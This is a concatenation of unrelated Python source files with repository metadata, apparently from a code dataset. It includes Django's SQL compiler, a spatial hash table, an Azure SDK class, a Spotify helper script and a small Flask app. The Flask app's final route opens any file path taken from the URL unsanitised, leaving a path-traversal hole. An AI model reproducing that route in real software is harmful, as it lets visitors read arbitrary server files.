obj) klass_info = { 'model': model, 'field': f, 'reverse': True, 'local_setter': local_setter, 'remote_setter': remote_setter, 'from_parent': from_parent, } related_klass_infos.append(klass_info) select_fields = [] columns = self.get_default_columns( start_alias=alias, opts=model._meta, from_parent=opts.model, ) for col in columns: select_fields.append(len(select)) select.append((col, None)) klass_info['select_fields'] = select_fields next_requested = requested.get(name, {}) next_klass_infos = self.get_related_selections( select, opts=model._meta, root_alias=alias, cur_depth=cur_depth + 1, requested=next_requested, restricted=restricted, ) get_related_klass_infos(klass_info, next_klass_infos) fields_not_found = set(requested).difference(fields_found) if fields_not_found: invalid_fields = ("'%s'" % s for s in fields_not_found) raise FieldError( 'Invalid field name(s) given in select_related: %s. ' 'Choices are: %s' % ( ', '.join(invalid_fields), ', '.join(_get_field_choices()) or '(none)', ) ) return related_klass_infos def get_select_for_update_of_arguments(self): """ Return a quoted list of arguments for the SELECT FOR UPDATE OF part of the query. """ def _get_field_choices(): """Yield all allowed field paths in breadth-first search order.""" queue = collections.deque([(None, self.klass_info)]) while queue: parent_path, klass_info = queue.popleft() if parent_path is None: path = [] yield 'self' else: field = klass_info['field'] if klass_info['reverse']: field = field.remote_field path = parent_path + [field.name] yield LOOKUP_SEP.join(path) queue.extend( (path, klass_info) for klass_info in klass_info.get('related_klass_infos', []) ) result = [] invalid_names = [] for name in self.query.select_for_update_of: parts = [] if name == 'self' else name.split(LOOKUP_SEP) klass_info = self.klass_info for part in parts: for related_klass_info in klass_info.get('related_klass_infos', []): field = related_klass_info['field'] if related_klass_info['reverse']: field = field.remote_field if field.name == part: klass_info = related_klass_info break else: klass_info = None break if klass_info is None: invalid_names.append(name) continue select_index = klass_info['select_fields'][0] col = self.select[select_index][0] if self.connection.features.select_for_update_of_column: result.append(self.compile(col)[0]) else: result.append(self.quote_name_unless_alias(col.alias)) if invalid_names: raise FieldError( 'Invalid field name(s) given in select_for_update(of=(...)): %s. ' 'Only relational fields followed in the query are allowed. ' 'Choices are: %s.' % ( ', '.join(invalid_names), ', '.join(_get_field_choices()), ) ) return result def deferred_to_columns(self): """ Convert the self.deferred_loading data structure to mapping of table names to sets of column names which are to be loaded. Return the dictionary. """ columns = {} self.query.deferred_to_data(columns, self.query.get_loaded_field_names_cb) return columns def get_converters(self, expressions): converters = {} for i, expression in enumerate(expressions): if expression: backend_converters = self.connection.ops.get_db_converters(expression) field_converters = expression.get_db_converters(self.connection) if backend_converters or field_converters: convs = [] for conv in (backend_converters + field_converters): if func_supports_parameter(conv, 'context'): warnings.warn( 'Remove the context parameter from %s.%s(). Support for it ' 'will be removed in Django 3.0.' % ( conv.__self__.__class__.__name__, conv.__name__, ), RemovedInDjango30Warning, ) conv = functools.partial(conv, context={}) convs.append(conv) converters[i] = (convs, expression) return converters def apply_converters(self, rows, converters): connection = self.connection converters = list(converters.items()) for row in map(list, rows): for pos, (convs, expression) in converters: value = row[pos] for converter in convs: value = converter(value, expression, connection) row[pos] = value yield row def results_iter(self, results=None, tuple_expected=False, chunked_fetch=False, chunk_size=GET_ITERATOR_CHUNK_SIZE): """Return an iterator over the results from executing this query.""" if results is None: results = self.execute_sql(MULTI, chunked_fetch=chunked_fetch, chunk_size=chunk_size) fields = [s[0] for s in self.select[0:self.col_count]] converters = self.get_converters(fields) rows = chain.from_iterable(results) if converters: rows = self.apply_converters(rows, converters) if tuple_expected: rows = map(tuple, rows) return rows def has_results(self): """ Backends (e.g. NoSQL) can override this in order to use optimized versions of "query has any results." """ # This is always executed on a query clone, so we can modify self.query self.query.add_extra({'a': 1}, None, None, None, None, None) self.query.set_extra_mask(['a']) return bool(self.execute_sql(SINGLE)) def execute_sql(self, result_type=MULTI, chunked_fetch=False, chunk_size=GET_ITERATOR_CHUNK_SIZE): """ Run the query against the database and return the result(s). The return value is a single data item if result_type is SINGLE, or an iterator over the results if the result_type is MULTI. result_type is either MULTI (use fetchmany() to retrieve all rows), SINGLE (only retrieve a single row), or None. In this last case, the cursor is returned if any query is executed, since it's used by subclasses such as InsertQuery). It's possible, however, that no query is needed, as the filters describe an empty set. In that case, None is returned, to avoid any unnecessary database interaction. """ result_type = result_type or NO_RESULTS try: sql, params = self.as_sql() if not sql: raise EmptyResultSet except EmptyResultSet: if result_type == MULTI: return iter([]) else: return if chunked_fetch: cursor = self.connection.chunked_cursor() else: cursor = self.connection.cursor() try: cursor.execute(sql, params) except Exception: # Might fail for server-side cursors (e.g. connection closed) cursor.close() raise if result_type == CURSOR: # Give the caller the cursor to process and close. return cursor if result_type == SINGLE: try: val = cursor.fetchone() if val: return val[0:self.col_count] return val finally: # done with the cursor cursor.close() if result_type == NO_RESULTS: cursor.close() return result = cursor_iter( cursor, self.connection.features.empty_fetchmany_value, self.col_count if self.has_extra_select else None, chunk_size, ) if not chunked_fetch and not self.connection.features.can_use_chunked_reads: try: # If we are using non-chunked reads, we return the same data # structure as normally, but ensure it is all read into memory # before going any further. Use chunked_fetch if requested. return list(result) finally: # done with the cursor cursor.close() return result def as_subquery_condition(self, alias, columns, compiler): qn = compiler.quote_name_unless_alias qn2 = self.connection.ops.quote_name for index, select_col in enumerate(self.query.select): lhs_sql, lhs_params = self.compile(select_col) rhs = '%s.%s' % (qn(alias), qn2(columns[index])) self.query.where.add( QueryWrapper('%s = %s' % (lhs_sql, rhs), lhs_params), 'AND') sql, params = self.as_sql() return 'EXISTS (%s)' % sql, params def explain_query(self): result = list(self.execute_sql()) # Some backends return 1 item tuples with strings, and others return # tuples with integers and strings. Flatten them out into strings. for row in result[0]: if not isinstance(row, str): yield ' '.join(str(c) for c in row) else: yield row class SQLInsertCompiler(SQLCompiler): return_id = False def field_as_sql(self, field, val): """ Take a field and a value intended to be saved on that field, and return placeholder SQL and accompanying params. Check for raw values, expressions, and fields with get_placeholder() defined in that order. When field is None, consider the value raw and use it as the placeholder, with no corresponding parameters returned. """ if field is None: # A field value of None means the value is raw. sql, params = val, [] elif hasattr(val, 'as_sql'): # This is an expression, let's compile it. sql, params = self.compile(val) elif hasattr(field, 'get_placeholder'): # Some fields (e.g. geo fields) need special munging before # they can be inserted. sql, params = field.get_placeholder(val, self, self.connection), [val] else: # Return the common case for the placeholder sql, params = '%s', [val] # The following hook is only used by Oracle Spatial, which sometimes # needs to yield 'NULL' and [] as its placeholder and params instead # of '%s' and [None]. The 'NULL' placeholder is produced earlier by # OracleOperations.get_geom_placeholder(). The following line removes # the corresponding None parameter. See ticket #10888. params = self.connection.ops.modify_insert_params(sql, params) return sql, params def prepare_value(self, field, value): """ Prepare a value to be used in a query by resolving it if it is an expression and otherwise calling the field's get_db_prep_save(). """ if hasattr(value, 'resolve_expression'): value = value.resolve_expression(self.query, allow_joins=False, for_save=True) # Don't allow values containing Col expressions. They refer to # existing columns on a row, but in the case of insert the row # doesn't exist yet. if value.contains_column_references: raise ValueError( 'Failed to insert expression "%s" on %s. F() expressions ' 'can only be used to update, not to insert.' % (value, field) ) if value.contains_aggregate: raise FieldError("Aggregate functions are not allowed in this query") if value.contains_over_clause: raise FieldError('Window expressions are not allowed in this query.') else: value = field.get_db_prep_save(value, connection=self.connection) return value def pre_save_val(self, field, obj): """ Get the given field's value off the given obj. pre_save() is used for things like auto_now on DateTimeField. Skip it if this is a raw query. """ if self.query.raw: return getattr(obj, field.attname) return field.pre_save(obj, add=True) def assemble_as_sql(self, fields, value_rows): """ Take a sequence of N fields and a sequence of M rows of values, and generate placeholder SQL and parameters for each field and value. Return a pair containing: * a sequence of M rows of N SQL placeholder strings, and * a sequence of M rows of corresponding parameter values. Each placeholder string may contain any number of '%s' interpolation strings, and each parameter row will contain exactly as many params as the total number of '%s's in the corresponding placeholder row. """ if not value_rows: return [], [] # list of (sql, [params]) tuples for each object to be saved # Shape: [n_objs][n_fields][2] rows_of_fields_as_sql = ( (self.field_as_sql(field, v) for field, v in zip(fields, row)) for row in value_rows ) # tuple like ([sqls], [[params]s]) for each object to be saved # Shape: [n_objs][2][n_fields] sql_and_param_pair_rows = (zip(*row) for row in rows_of_fields_as_sql) # Extract separate lists for placeholders and params. # Each of these has shape [n_objs][n_fields] placeholder_rows, param_rows = zip(*sql_and_param_pair_rows) # Params for each field are still lists, and need to be flattened. param_rows = [[p for ps in row for p in ps] for row in param_rows] return placeholder_rows, param_rows def as_sql(self): # We don't need quote_name_unless_alias() here, since these are all # going to be column names (so we can avoid the extra overhead). qn = self.connection.ops.quote_name opts = self.query.get_meta() result = ['INSERT INTO %s' % qn(opts.db_table)] fields = self.query.fields or [opts.pk] result.append('(%s)' % ', '.join(qn(f.column) for f in fields)) if self.query.fields: value_rows = [ [self.prepare_value(field, self.pre_save_val(field, obj)) for field in fields] for obj in self.query.objs ] else: # An empty object. value_rows = [[self.connection.ops.pk_default_value()] for _ in self.query.objs] fields = [None] # Currently the backends just accept values when generating bulk # queries and generate their own placeholders. Doing that isn't # necessary and it should be possible to use placeholders and # expressions in bulk inserts too. can_bulk = (not self.return_id and self.connection.features.has_bulk_insert) placeholder_rows, param_rows = self.assemble_as_sql(fields, value_rows) if self.return_id and self.connection.features.can_return_id_from_insert: if self.connection.features.can_return_ids_from_bulk_insert: result.append(self.connection.ops.bulk_insert_sql(fields, placeholder_rows)) params = param_rows else: result.append("VALUES (%s)" % ", ".join(placeholder_rows[0])) params = [param_rows[0]] col = "%s.%s" % (qn(opts.db_table), qn(opts.pk.column)) r_fmt, r_params = self.connection.ops.return_insert_id() # Skip empty r_fmt to allow subclasses to customize behavior for # 3rd party backends. Refs #19096. if r_fmt: result.append(r_fmt % col) params += [r_params] return [(" ".join(result), tuple(chain.from_iterable(params)))] if can_bulk: result.append(self.connection.ops.bulk_insert_sql(fields, placeholder_rows)) return [(" ".join(result), tuple(p for ps in param_rows for p in ps))] else: return [ (" ".join(result + ["VALUES (%s)" % ", ".join(p)]), vals) for p, vals in zip(placeholder_rows, param_rows) ] def execute_sql(self, return_id=False): assert not ( return_id and len(self.query.objs) != 1 and not self.connection.features.can_return_ids_from_bulk_insert ) self.return_id = return_id with self.connection.cursor() as cursor: for sql, params in self.as_sql(): cursor.execute(sql, params) if not return_id: return if self.connection.features.can_return_ids_from_bulk_insert and len(self.query.objs) > 1: return self.connection.ops.fetch_returned_insert_ids(cursor) if self.connection.features.can_return_id_from_insert: assert len(self.query.objs) == 1 return self.connection.ops.fetch_returned_insert_id(cursor) return self.connection.ops.last_insert_id( cursor, self.query.get_meta().db_table, self.query.get_meta().pk.column ) class SQLDeleteCompiler(SQLCompiler): def as_sql(self): """ Create the SQL for this query. Return the SQL string and list of parameters. """ assert len([t for t in self.query.alias_map if self.query.alias_refcount[t] > 0]) == 1, \ "Can only delete from one table at a time." qn = self.quote_name_unless_alias result = ['DELETE FROM %s' % qn(self.query.base_table)] where, params = self.compile(self.query.where) if where: result.append('WHERE %s' % where) return ' '.join(result), tuple(params) class SQLUpdateCompiler(SQLCompiler): def as_sql(self): """ Create the SQL for this query. Return the SQL string and list of parameters. """ self.pre_sql_setup() if not self.query.values: return '', () qn = self.quote_name_unless_alias values, update_params = [], [] for field, model, val in self.query.values: if hasattr(val, 'resolve_expression'): val = val.resolve_expression(self.query, allow_joins=False, for_save=True) if val.contains_aggregate: raise FieldError("Aggregate functions are not allowed in this query") if val.contains_over_clause: raise FieldError('Window expressions are not allowed in this query.') elif hasattr(val, 'prepare_database_save'): if field.remote_field: val = field.get_db_prep_save( val.prepare_database_save(field), connection=self.connection, ) else: raise TypeError( "Tried to update field %s with a model instance, %r. " "Use a value compatible with %s." % (field, val, field.__class__.__name__) ) else: val = field.get_db_prep_save(val, connection=self.connection) # Getting the placeholder for the field. if hasattr(field, 'get_placeholder'): placeholder = field.get_placeholder(val, self, self.connection) else: placeholder = '%s' name = field.column if hasattr(val, 'as_sql'): sql, params = self.compile(val) values.append('%s = %s' % (qn(name), placeholder % sql)) update_params.extend(params) elif val is not None: values.append('%s = %s' % (qn(name), placeholder)) update_params.append(val) else: values.append('%s = NULL' % qn(name)) table = self.query.base_table result = [ 'UPDATE %s SET' % qn(table), ', '.join(values), ] where, params = self.compile(self.query.where) if where: result.append('WHERE %s' % where) return ' '.join(result), tuple(update_params + params) def execute_sql(self, result_type): """ Execute the specified update. Return the number of rows affected by the primary update query. The "primary update query" is the first non-empty query that is executed. Row counts for any subsequent, related queries are not available. """ cursor = super().execute_sql(result_type) try: rows = cursor.rowcount if cursor else 0 is_empty = cursor is None finally: if cursor: cursor.close() for query in self.query.get_related_updates(): aux_rows = query.get_compiler(self.using).execute_sql(result_type) if is_empty and aux_rows: rows = aux_rows is_empty = False return rows def pre_sql_setup(self): """ If the update depends on results from other tables, munge the "where" conditions to match the format required for (portable) SQL updates. If multiple updates are required, pull out the id values to update at this point so that they don't change as a result of the progressive updates. """ refcounts_before = self.query.alias_refcount.copy() # Ensure base table is in the query self.query.get_initial_alias() count = self.query.count_active_tables() if not self.query.related_updates and count == 1: return query = self.query.chain(klass=Query) query.select_related = False query.clear_ordering(True) query._extra = {} query.select = [] query.add_fields([query.get_meta().pk.name]) super().pre_sql_setup() must_pre_select = count > 1 and not self.connection.features.update_can_self_select # Now we adjust the current query: reset the where clause and get rid # of all the tables we don't need (since they're in the sub-select). self.query.where = self.query.where_class() if self.query.related_updates or must_pre_select: # Either we're using the idents in multiple update queries (so # don't want them to change), or the db backend doesn't support # selecting from the updating table (e.g. MySQL). idents = [] for rows in query.get_compiler(self.using).execute_sql(MULTI): idents.extend(r[0] for r in rows) self.query.add_filter(('pk__in', idents)) self.query.related_ids = idents else: # The fast path. Filters and updates in one query. self.query.add_filter(('pk__in', query)) self.query.reset_refcounts(refcounts_before) class SQLAggregateCompiler(SQLCompiler): def as_sql(self): """ Create the SQL for this query. Return the SQL string and list of parameters. """ sql, params = [], [] for annotation in self.query.annotation_select.values(): ann_sql, ann_params = self.compile(annotation, select_format=FORCE) sql.append(ann_sql) params.extend(ann_params) self.col_count = len(self.query.annotation_select) sql = ', '.join(sql) params = tuple(params) sql = 'SELECT %s FROM (%s) subquery' % (sql, self.query.subquery) params = params + self.query.sub_params return sql, params def cursor_iter(cursor, sentinel, col_count, itersize): """ Yield blocks of rows from a cursor and ensure the cursor is closed when done. """ try: for rows in iter((lambda: cursor.fetchmany(itersize)), sentinel): yield rows if col_count is None else [r[:col_count] for r in rows] finally: cursor.close()

[ "rizwansoaib@gmail.com" ]

rizwansoaib@gmail.com

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/hashTable.py

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NILOIDE/Coordinate_HashTable

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import numpy as np class SpatialHashTable(object): """ Hash table used to split coordinate system into buckets. Objects can be assigned to all buckets that overlap with the provided volume. A hash table is useful in cases where it becomes inefficient to search through all items in the coordinate system. Assigning objects to buckets allows for a selected retrieval of neighboring objects. Written by: Nil Stolt Ansó, 05/07/2019 """ def __init__(self, dims, bucket_size): self.dims = dims self.n_dims = dims.shape[0] self.buckets_per_dim = np.ceil(dims / bucket_size).astype(np.int32) self.bucket_size = bucket_size # Assuming buckets have equally sized sides self.n_buckets = int(np.prod(self.buckets_per_dim)) self.buckets = {} self.clear_buckets() def get_nearby_objects(self, pos, radius): """ Given a position and radius, retrieve all objects in the overlapping buckets. :param pos: Center of search volume. :param radius: Radius of search volume. :return: Objects in buckets overlapping with given volume. """ cell_ids = self.get_ids_for_volume(pos, radius) return self.get_objects_from_buckets(cell_ids) def get_ids_for_volume(self, pos, radius): """ Retrieve the IDs of all buckets overlapping with the volume with the given center position and given radius. :param pos: Center of search volume. :param radius: Radius of search volume. :return: IDs of buckets overlapping volume. """ ids = set() lowest_pos = np.max((pos - radius, np.zeros((self.n_dims,))), axis=0) lowest_bucket_lower_bound = (lowest_pos - lowest_pos % self.bucket_size).astype(np.int32) highest_bucket_upper_bound = (np.min((self.dims, pos + radius + 1.0), axis=0)).astype(np.int32) for x in range(lowest_bucket_lower_bound[0], highest_bucket_upper_bound[0], self.bucket_size): for y in range(lowest_bucket_lower_bound[1], highest_bucket_upper_bound[1], self.bucket_size): for z in range(lowest_bucket_lower_bound[2], highest_bucket_upper_bound[2], self.bucket_size): ids.add(self.get_id(x, y, z)) return ids def get_id(self, x, y, z): """ Get bucket ID containing the given Cartesian coordinate. :param x: :param y: :param z: :return: """ return x // self.bucket_size + y // self.bucket_size * self.buckets_per_dim[0] + \ z // self.bucket_size * self.buckets_per_dim[0] * self.buckets_per_dim[1] def get_objects_from_buckets(self, ids): """ Given the IDs of buckets, return the union of every set obtained from each individual bucket. :param ids: Indices of buckets. :return: Union of objects found in those buckets. """ objects = set() for i in ids: objects = objects.union(self.buckets[i]) return objects def clear_buckets(self): """ Remove all objects from all buckets in the hash table. :return: """ for idx in range(self.n_buckets): self.buckets[idx] = set() def insert_object(self, obj, pos, radius): """ Insert an object into all buckets that overlap with the volume with center 'pos' and radius 'radius' :param obj: Object to be inserted into buckets :param pos: Center of search volume. :param radius: Radius of search volume. :return: """ idxs = self.get_ids_for_volume(pos, radius) for idx in idxs: self.buckets[idx].add(obj) def insert_objects(self, object_structure): """ Insert a structure of objects into hash table. :param object_structure: Data structure where each row is of form (object, position, radius) :return: """ for (obj, pos, radius) in object_structure: self.insert_object(obj, pos, radius) def get_dims(self): """ Get dimensions of hash table in terms of the coordinate system. :return: """ return self.dims def get_buckets_per_dim(self): """ Get how many buckets lay in each dimension. :return: Tuple of number of buckets per dimension """ return self.buckets_per_dim def get_buckets(self): """ Get all buckets. :return: """ return self.buckets def get_bucket_content(self, i): """ Get all objects in bucket of the given ID. :param i: ID of the bucket :return: Objects in the bucket with given ID. """ return self.buckets[i] def get_bucket_center(self, i): """ Get the center coordinate (in terms of coordinate system) of bucket with given ID. :param i: Index of bucket. :return: Center coordinate of bucket. """ center = np.empty((self.n_dims,)) center[0] = i % self.dims[0] * self.bucket_size + self.bucket_size / 2 for d in range(1, self.n_dims): center[d] = i // np.prod(self.dims[:d]) * self.bucket_size + self.bucket_size / 2 return center def remove_object(self, obj, pos, radius): """ Remove object from all buckets overlapping with volume with center 'pos' and radius 'radius'. :param obj: Object to be inserted into buckets :param pos: Center of search volume. :param radius: Radius of search volume. :return: """ idxs = self.get_ids_for_volume(pos, radius) for idx in idxs: self.buckets[idx].remove(obj)

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from tabulate import tabulate from random import choice from string import ascii_uppercase from math import sqrt, ceil alphabet = list(ascii_uppercase) word = input('Enter the phrase\n').upper() side = ceil(sqrt(len(word))) if side % 2 != 0: side = side + 1 square = [] square = [[0] * side for i in range(side)] for i in range(side): # create the chiper key for j in range(side // 2): square[i][j] = 1 print('The KEY:') print(tabulate(square, tablefmt='grid')) count = 0 for i in range(side // 2): for j in range(side): if square[i][j] == 1 and len(word) > count: square[i][j] = word[count] square[i][side - j - 1] = word[count + (side//2)*(side//2)] count = count + 1 count = count + count for i in range(side // 2, side): for j in range(side): if square[i][j] == 1 and len(word) > count: square[i][j] = word[count] if len(word) > count + side: square[i][side - j - 1] = word[count + (side//2)*(side//2)] count = count + 1 print("Final table:") for i in range(side): for j in range(side): if square[i][j] == 1 or square[i][j] == 0: square[i][j] = choice(alphabet) print(tabulate(square, tablefmt='grid'))

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# coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may cause incorrect behavior and will be lost if the code is regenerated. # -------------------------------------------------------------------------- from typing import TYPE_CHECKING import warnings from azure.core.exceptions import HttpResponseError, ResourceExistsError, ResourceNotFoundError, map_error from azure.core.paging import ItemPaged from azure.core.pipeline import PipelineResponse from azure.core.pipeline.transport import HttpRequest, HttpResponse from azure.mgmt.core.exceptions import ARMErrorFormat from .. import models if TYPE_CHECKING: # pylint: disable=unused-import,ungrouped-imports from typing import Any, Callable, Dict, Generic, Iterable, Optional, TypeVar T = TypeVar('T') ClsType = Optional[Callable[[PipelineResponse[HttpRequest, HttpResponse], T, Dict[str, Any]], Any]] class NetworkInterfaceLoadBalancersOperations(object): """NetworkInterfaceLoadBalancersOperations operations. You should not instantiate this class directly. Instead, you should create a Client instance that instantiates it for you and attaches it as an attribute. :ivar models: Alias to model classes used in this operation group. :type models: ~azure.mgmt.network.v2019_08_01.models :param client: Client for service requests. :param config: Configuration of service client. :param serializer: An object model serializer. :param deserializer: An object model deserializer. """ models = models def __init__(self, client, config, serializer, deserializer): self._client = client self._serialize = serializer self._deserialize = deserializer self._config = config def list( self, resource_group_name, # type: str network_interface_name, # type: str **kwargs # type: Any ): # type: (...) -> Iterable["models.NetworkInterfaceLoadBalancerListResult"] """List all load balancers in a network interface. :param resource_group_name: The name of the resource group. :type resource_group_name: str :param network_interface_name: The name of the network interface. :type network_interface_name: str :keyword callable cls: A custom type or function that will be passed the direct response :return: An iterator like instance of either NetworkInterfaceLoadBalancerListResult or the result of cls(response) :rtype: ~azure.core.paging.ItemPaged[~azure.mgmt.network.v2019_08_01.models.NetworkInterfaceLoadBalancerListResult] :raises: ~azure.core.exceptions.HttpResponseError """ cls = kwargs.pop('cls', None) # type: ClsType["models.NetworkInterfaceLoadBalancerListResult"] error_map = {404: ResourceNotFoundError, 409: ResourceExistsError} error_map.update(kwargs.pop('error_map', {})) api_version = "2019-08-01" def prepare_request(next_link=None): if not next_link: # Construct URL url = self.list.metadata['url'] # type: ignore path_format_arguments = { 'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'), 'networkInterfaceName': self._serialize.url("network_interface_name", network_interface_name, 'str'), 'subscriptionId': self._serialize.url("self._config.subscription_id", self._config.subscription_id, 'str'), } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} # type: Dict[str, Any] query_parameters['api-version'] = self._serialize.query("api_version", api_version, 'str') else: url = next_link query_parameters = {} # type: Dict[str, Any] # Construct headers header_parameters = {} # type: Dict[str, Any] header_parameters['Accept'] = 'application/json' # Construct and send request request = self._client.get(url, query_parameters, header_parameters) return request def extract_data(pipeline_response): deserialized = self._deserialize('NetworkInterfaceLoadBalancerListResult', pipeline_response) list_of_elem = deserialized.value if cls: list_of_elem = cls(list_of_elem) return deserialized.next_link or None, iter(list_of_elem) def get_next(next_link=None): request = prepare_request(next_link) pipeline_response = self._client._pipeline.run(request, stream=False, **kwargs) response = pipeline_response.http_response if response.status_code not in [200]: map_error(status_code=response.status_code, response=response, error_map=error_map) raise HttpResponseError(response=response, error_format=ARMErrorFormat) return pipeline_response return ItemPaged( get_next, extract_data ) list.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Network/networkInterfaces/{networkInterfaceName}/loadBalancers'} # type: ignore

[ "noreply@github.com" ]

YijunXieMS.noreply@github.com

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/150520/new_uri.py

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[]

no_license

tbc31cc/Python-scripts

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refs/heads/master

2021-01-10T21:55:25.479996

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# Sometimes Spotify stores multiple entries for an album or track, or you may accidentally add an album/track that isn't available in your country # If you choose a bad URI with the original search, use this to load a new entry that hopefully works # Now filters out results that are not available in specified country (US) (new method) # Program now asks user to re-enter searchtype in the case of an invalid entry # User can choose to open entire list of results as a text file # Use with command line ""C:\Python27\Lib\new_uri.py" "$ascii(%artist%)" "$ascii(%album%)" "$ascii(%title%)"" import sys import spotipy #third-party module import pyperclip #third-party module import string spotify = spotipy.Spotify() display = "URI(s) copied to clipboard. Press enter to exit" # Specified country country = u'US' # args = [path, artist, album, track], taken from command line if len(sys.argv) > 1: artist_name = sys.argv[1] else: artist_name = str(raw_input('Enter artist name: ')) # Choose advanced search type (track or album) valid_types = ['track','album'] def get_valid_type(): i = str(raw_input("Please type track or album: ")) if i in valid_types: return i else: return None while True: searchtype = get_valid_type() if searchtype: break if searchtype == 'album': if len(sys.argv) > 2: item = sys.argv[2] else: item = str(raw_input('Enter album title: ')) elif searchtype == 'track': if len(sys.argv) > 3: item = sys.argv[3] else: item = str(raw_input('Enter track title: ')) print 'Finding URI for ' + searchtype +': ' + '"'+item+'"' + ' by ' + artist_name # Generate search results results = spotify.search(q="artist:"+artist_name+' '+searchtype+':'+item, type = searchtype, limit = 20) items = results[searchtype+'s']['items'] # Filter out results not available in specified country for i, t in enumerate(items): if country not in items[i]['available_markets']: items[i] = [] while [] in items: items.remove([]) # Shorten long strings def shorten(string): if len(string) > 80: return string[0:80]+'...' else: return string # Function for generating list of results def print_info(i,t): name = filter(lambda x: x in string.printable, t['name']) album_type = '' artist = '' album = '' release_date = '' if searchtype == 'album': get_artist = spotify.album(t['id']) artist_name = get_artist['artists'][0]['name'] release_date = ' ('+get_artist['release_date'][0:4]+') ' artist = filter(lambda x: x in string.printable, ' '+artist_name) if items[i]['album_type'] != 'album': album_type = ' - '+t['album_type'] line1 = ' '+str(i)+' '+name+album_type+release_date elif searchtype == 'track': artist = filter(lambda x: x in string.printable, ' '+t['artists'][0]['name']+'\n') album = filter(lambda x: x in string.printable, ' from '+'"'+t['album']['name']) line1 = shorten(' '+str(i)+' '+name+album)+'"' else: line1 = ' '+str(i)+' '+name line2 = '\n'+artist line3 = '\n '+t['uri']+'\n' return line1+line2+line3 # If there are multiple results, let user choose which URI to copy to clipboard. # Searches with one result automatically copies URI. print '\nResults:\n' if len(items) > 0: for i, t in enumerate(items): print print_info(i,t) if len(items) == 1: n = 0 else: n = int(input("Choose from provided list. Enter -1 to choose all items ")) # Copy final result to clipboard/Open full list as text file if n == -1: text = '' for i, t in enumerate(items): text = text + '\n' + print_info(i,t) import subprocess as sp programName = 'notepad.exe' with open('output.txt', 'w') as text_file: text_file.write(text) sp.Popen([programName,'output.txt']) else: text = items[n]['uri'] pyperclip.copy(text) else: print 'No results found\n' text = 'No results found' display = 'Press enter to exit' raw_input(display)

[ "tbc31cc@gmail.com" ]

tbc31cc@gmail.com

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/Ohloh.py

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[]

no_license

mdavid/web

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refs/heads/master

2020-12-25T16:35:34.746167

2011-11-21T23:08:02

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# -*- Mode: python; coding: utf-8 -*- # # Cherokee Web Site # # Authors: # Alvaro Lopez Ortega <alvaro@alobbs.com> # # Copyright (C) 2001-2011 Alvaro Lopez Ortega # # This program is free software; you can redistribute it and/or # modify it under the terms of version 2 of the GNU General Public # License as published by the Free Software Foundation. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA # 02110-1301, USA. # import CTK LANGUAGES_HTML = '<script type="text/javascript" src="http://www.ohloh.net/p/3906/widgets/project_languages.js"></script>' COCOMO_HTML = '<script type="text/javascript" src="http://www.ohloh.net/p/3906/widgets/project_cocomo.js"></script>' COCOMO_FIX_JS = """ /* Come on! $55k? Seriously? It must be a typo.. */ $('.ohloh-cocomo-box input:text').filter(function() { return $(this).val() == "55000"; }).each(function() { $(this).val (90000); $(this).trigger ('change'); }); """ class Languages (CTK.Box): def __init__ (self): CTK.Box.__init__ (self, {'class': 'ohloh-languages-box'}) self += CTK.RawHTML (LANGUAGES_HTML) self += CTK.RawHTML (js = COCOMO_FIX_JS) class Cocomo (CTK.Box): def __init__ (self): CTK.Box.__init__ (self, {'class': 'ohloh-cocomo-box'}) self += CTK.RawHTML (COCOMO_HTML) self += CTK.RawHTML (js = COCOMO_FIX_JS)

[ "alvaro@alobbs.com" ]

alvaro@alobbs.com

9070f9ba6596fb792ae2d17601a5a9c0581820c3

fd8405ac0a5d062907c153f2f2e3569571366539

/irbisbooks/core/urls.py

17e44ae4a60722f69bb0d5da5d79b7b2b8dec070

[]

no_license

ri-gilfanov/irbis-books

aab471833035ae51088bccfb0806b863aaba3468

0b2a32013ab7f0c0d167e0864a7cb858e8e75add

refs/heads/master

2021-01-25T13:19:07.818513

2018-03-02T09:47:06

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0

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from django.urls import path from . import views urlpatterns = [ path('', views.book_search, name='book_search'), path('book_download/', views.book_download, name='book_download'), ]

[ "ri.gilfanov@yandex.ru" ]

ri.gilfanov@yandex.ru

950b22a78a928e4427896cec1ba0d7c4cac4e011

6a4bfff7fcd78a0057401652c7f80d9a95a67267

/painless_redirects/tests/test_models.py

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[ "MIT" ]

permissive

benzkji/django-painless-redirects

25987ff984830be7e45b4d0af9a9cd0046beabe7

153721486b214ddd5365b6ac5769129562254dd5

refs/heads/master

2023-05-24T14:23:53.783400

2020-06-22T10:35:29

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0

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"""Tests for the models of the painless_redirects app.""" from django.test import TestCase from . import factories class RedirectModelTestCase(TestCase): def test_model(self): obj = factories.RedirectFactory() self.assertTrue(obj.pk) def test_redirect_value(self): obj = factories.RedirectFactory() self.assertEqual(obj.redirect_value('http'), "/the-new-path/") obj.new_site = factories.SiteFactory() self.assertEqual(obj.redirect_value('https'), "https://%s/the-new-path/" % obj.new_site.domain)

[ "bnzk@bnzk.ch" ]

bnzk@bnzk.ch

05b6c7a41ca37a887e8c167923f6e78cb61e66c6

0f9772eef40e6a995514438020bfe245b0634d23

/UnicornsApp/app.py

f55610ece2f5f38113de2cbbcf76253188d21c2f

[]

no_license

koalaboy808/Crunchbase_InfoViz

4edeedd1236fcd0c0e6558cceb5d4dda75ef7c1d

d184190a45dfeff2c92223549e0d74fb076eef19

refs/heads/master

2021-01-01T05:02:11.590233

2016-05-06T12:29:58

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2016-04-22T22:33:15

2016-04-12T06:17:33

HTML

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py

from flask import Flask app = Flask(__name__, static_folder="public_html/static") @app.route('/') def load_root(): f = open('public_html/index.html', 'r') raw_data = f.read() return raw_data @app.route('/<path:name>') def load_file(name=None): url = 'public_html/' + name f = open(url, 'r') raw_data = f.read() return raw_data if __name__ == "__main__": app.run()

[ "gracenbrilmyer@ischool.berkeley.edu" ]

gracenbrilmyer@ischool.berkeley.edu

677993bbfd1033c8a7be8606b387754616bdceda

